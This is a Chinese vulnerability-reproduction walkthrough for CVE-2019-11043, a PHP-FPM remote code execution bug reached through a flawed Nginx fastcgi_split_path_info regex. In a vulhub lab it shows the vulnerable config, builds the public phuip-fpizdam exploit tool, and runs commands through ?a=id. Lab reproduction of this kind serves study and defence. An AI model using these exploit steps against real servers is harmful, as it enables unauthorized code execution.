文章目录

漏洞复现

PHP远程代码执行漏洞复现

一、漏洞概述

向目标服务器 URL 发送 %0a 符号时，服务返回异常，疑似存在漏洞。在使用一些有错误的Nginx配置的情况下，通过恶意构造的数据包，即可让PHP-FPM执行任意代码。

location ~ [^/]\.php(/|$) {

 ...

 fastcgi_split_path_info ^(.+?\.php)(/.*)$;

 fastcgi_param PATH_INFO $fastcgi_path_info;

 fastcgi_pass   php:9000;

 ...

}

攻击者可以使用换行符（％0a）来破坏fastcgi_split_path_info指令中的正则表达式，正则表达式被破坏导致PATH_INFO为空，从而触发该漏洞。

二、漏洞复现

  1. 使用vulhub中CVE-2019-11043的环境进行搭建
    https://vulhub.org/#/environments/php/CVE-2019-11043/
    目录：php/CVE-2019-11043

开启nginx和php：

在这里插入图片描述

访问靶场的80端口：

在这里插入图片描述

  1. 使用https://github.com/neex/phuip-fpizdam中给出的工具，发送数据包
git clone https://github.com/neex/phuip-fpizdam.git
cd phuip-fpizdam
# 安装漏洞利用工具，需要go环境
go get -v && go build

在这里插入图片描述

  1. 漏洞利用

使用该工具执行命令：go run . "http://your-ip:8080/index.php"，然后访问 http://your-ip:8080/index.php?a=id，即可查看到命令已成功执行

在这里插入图片描述

在这里插入图片描述

url 中空格不影响命令执行：

在这里插入图片描述

Logo
天工造物局

北京人形旗下天工造物具身智能开源社区，聚焦具身天工与慧思开物两大平台

更多推荐

deck.gl TripsLayer 出租车轨迹动画示例实战：从示例运行到着色器原理

TripsLayer 是 deck.gl 中用于渲染**随时间流动的轨迹动画**（如出租车行程、物流路径、迁徙路线）的核心图层。本文以仓库中的最小独立示例 [examples/website/trips](https://link.gitcode.com/i/1442af8f442f4cff39ff546e050fceb5) 为骨架，带你完成从安装依赖、启动应用、理解曼哈顿出租车数据格式，到深入

avatar 天工造物局

Foundry Anvil 中 eth_simulateV1 的 Blob 交易与 Blob Gas 字段规范化：原理、实现与测试验证

本篇技术指南以 [anvil-simulate-blob-transactions.md](https://link.gitcode.com/i/3d2ebe227262de169335eb290af80da8) 这条 changelog 条目为起点，深入剖析 Foundry Anvil 对 `eth_simulateV1` RPC 返回结果中 blob（EIP-4844）交易与 blob gas

avatar 天工造物局

LMCache CLI 实战：用 `lmcache kvcache clear` 管理运行中服务的 KV Cache 状态

本文是一份针对 LMCache 官方 CLI 命令 `lmcache kvcache` 的完整技术指南。该命令用于在**运行中的 LMCache 服务（MP HTTP server）**上管理 KV cache 状态，当前提供 `clear` 子命令，用于清空 L1（CPU 内存）层中缓存的全部 KV 数据。读完本文，你将掌握该命令的完整参数体系、退出码语义、终端/JSON/静默三种输出模式，并能

avatar 天工造物局